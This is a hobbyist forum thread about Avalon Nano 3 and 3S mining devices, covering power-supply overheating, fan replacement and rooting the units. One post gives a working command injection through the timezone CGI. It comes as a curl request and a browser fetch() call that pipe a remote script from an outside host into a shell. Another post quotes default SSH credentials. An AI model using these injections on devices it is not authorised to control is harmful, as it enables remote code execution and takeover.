Avalon Nano 3 [unofficial thread]

[botor123]

same problems here.-melted usb cables and burnt power supplies. I think they are not calculated very well and should be used in LOW or MIDDLE mode.

[LimaPT]

seen some people on-line, upgrading psu unit too an Dell USB-C 165w , and they are happy ,
i´m on process of doing an STL , to make an "stand" with 120mm fan on the back , too cool down chager and asic

[ovydyu1985]

can somene help me with this file Avalon_Nano3_2024123018_a312f9b.kdimg.gz?

[lipo135]

for nano3s
use

Code:

8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918

after that should work.

Hey, could you provide a bit more details on exploiting the Nano 3S? Its web UI is quite different from the Nano 3, so the timezone hack isn't applicable here.

On Nano3s you do not have to run any exploit. Firmware version 25021401_56abae7 have ssh username "avalon" and password "avalon" Found on github btw

edit:
sorry for the mystification - the firmware "2025012001_21e0e59" posted on github has root enabled, but "2025021401_56abae7" and "2025061101_4ba23e3" already have root access disabled

Code:

/etc/shadow
root:*::::::

[i4n0rd]

On Nano3s you do not have to run any exploit. Firmware version 25021401_56abae7 have ssh username "avalon" and password "avalon

Mhmm might be stupid but you can't do anything with that user...
**edit** at least some logs can be read under /data/userdata/log

I'm on 25021401_56abae7 with my Nano3s

Code:

passwd: avalon can't change password for root
-sh: cd: can't cd to mnt: Permission denied
-sh: cd: can't cd to mntapp: Permission denied
#top
top: can't change directory to '/proc': Permission denied

So we still need some exploit to get elevated rights/change root pwd or am I wrong?


Cheers!


PS: Are there any changelogs what has been done (except disabling root) from 25021401 to 2025021401 & 2025061101?
Is there any benefit in buidling one yourself from https://github.com/Canaan-Creative/Avalon_Nano3s/?

[itsabeardance]

Is there any sense (or perhaps danger) in adding heatsinks to the PSUs that get absurdly hot on these guys?

[simpic]

The function that calls set_timezone uses a small 64-byte buffer to store the timezone (of course with no boundary checks!), so we cannot fit in there a whole ass jailbreak script. However, it is enough to fit a small script that fetches the true jailbreak from the internet.

If you haven't changed the original password on the device (root), this cURL call will trigger a fetch to https://xn--i29h.ge/n.sh, then execute it:

Code:

curl 'http://<miner IP>/timezoneconf.cgi' \
  -b 'auth=ff0000ff4813494d137e1631bba301d5' \
  --data-raw 'timezone=%3Bwget%20http%3A%2F%2Fxn--i29h.ge%2Fn.sh%20-O-%7Csh%3B'

Alternatively, you can also trigger it from your web browser's JavaScript console. Just log into your device, then paste:

Code:

await fetch("/timezoneconf.cgi", {
  "body": "timezone=" + encodeURIComponent(";wget http://xn--i29h.ge/n.sh -O-|sh;"),
  "method": "POST"
});

The payload has comments, so feel free to check it, but it:

• Changes the admin user password to admin. The original password hash is $5$1N6rEpvUXco$0QAASdP5iZRPWxgmAZQkTC0FM8GGw6L7HnprqT7Ll72 which I've not cracked.
• Generates a new ED25519 host key.
• Creates the jail environment the SSH daemon expects.
• Configures SSH as a init service.
• Launches the SSH service, so you don't have to reboot.

After running the command, you should be able to connect via SSH. Once SSH works, remember to configure again the correct timezone!

I have tried both using curl and JS console in the browser but my Nano 3 keeps refusing connection on port 22. I also tried to reboot and relaunch the commands, but they don't work.
My firmware version is the following: 24071801_42c628d.

What's wrong?

[simpic]

I have tried both using curl and JS console in the browser but my Nano 3 keeps refusing connection on port 22. I also tried to reboot and relaunch the commands, but they don't work.
My firmware version is the following: 24071801_42c628d.

What's wrong?

I solved it by running the shell script commands step by step, serving it from my computer in the same network.

[whoismeanyway]

I am quitting Avalon nano. After 10-12 months they all fail. Only Bitaxe. Lower power consumption, simple adapter no confused 4.1 pdp anymore and more TH.

[n0nce]

I am quitting Avalon nano. After 10-12 months they all fail. Only Bitaxe. Lower power consumption, simple adapter no confused 4.1 pdp anymore and more TH.

Did you own multiple of them? My original one is still running today, however I don't run it 24/7 anymore.
It heats my workspace in winter and is cleaned & stored safely in summer.

What are the overall experiences with Nano 3S, Mini 3 and Avalon Q?

[ajaxtempest]

a question to canaan team or anyone else.

can a usb type c to pd and ethernet adapter work on nano 3 for wired internet ?

I know unlike nano 3s , the 3 does not have a more than 1 usb port, I was wondering has anyone tried this setup?
https://www.belkin.com/p/usb-c-to-ethernet-plus-charge-adapter-100w/INC019btBK.html

[mahlf]

@brontolo10

Great teardown and repair work on your Nano 3 (posts #141–#144)! Very helpful, especially the inductor fix.

I have a Nano 3 with a whining fan that needs replacing. I've removed the five bottom screws but the case is still stuck — the USB-C area seems to be blocking it, just as you warned.

Two questions:
1. What are the exact specs of the internal fans (model, dimensions, voltage, connector type)?
2. Are they plug-connected or soldered?

I also tried to PM you but your inbox doesn't accept messages from newbies. Could you either enable that or share your Telegram channel link ("Avalon Nano3 Italia") here?

Thanks!
please see the next post #433

[mahlf]

Hi, I have a Nano 3 directly from Canaan with a whining fan that needs replacing after 15 month.

After removing the 5 bottom screws, the top shell needs to be lifted vertically — but the USB-C port extends horizontally through the case wall, effectively locking it in place. So how is the shell supposed to come off?
Can someone explain the actual mechanics of opening the Nano 3 case?

Two more questions in advance:
   1.   What are the exact specs of the internal fans (model, dimensions, voltage, connector type)?
   2.   Are they plug-connected or soldered?

Thanks!

[btcdfghj]

   1.   What are the exact specs of the internal fans (model, dimensions, voltage, connector type)?
   2.   Are they plug-connected or soldered?

Thanks!

You can see the close up photo of the fans here:

https://www.chongdiantou.com/archives/343313.html
scroll down about two thirds of the page

It says "The cooling fan is from Dongguan Honghua Electronics, model HA5020H12SF-Z, operating at 12V and current at 0.2A"

[simpic]

It says "The cooling fan is from Dongguan Honghua Electronics, model HA5020H12SF-Z, operating at 12V and current at 0.2A"

Or any other 50x50x20 mm 12V fan?

[mahlf]

Thanks for replying!
So far, I have neither learned nor figured out how to even remove the casing without damaging the device.
However: The Nano 3, always running on the medium setting, has now completely failed; the USB plug was stuck fast—as if glued in—and was extremely difficult to pull out.
What happened here, and who can help

[PakoTor]

Thanks for replying!
So far, I have neither learned nor figured out how to even remove the casing without damaging the device.
However: The Nano 3, always running on the medium setting, has now completely failed; the USB plug was stuck fast—as if glued in—and was extremely difficult to pull out.
What happened here, and who can help

You need to open it like a book from the opposite side of the USB port.
The twisting will make it easier to open.
I bought 6 nano 3 when they were 99$.
2 years later only 2 are still running.
Fixed some by replacing the 4R7 chip and made others worse with too much heat from the heat gun.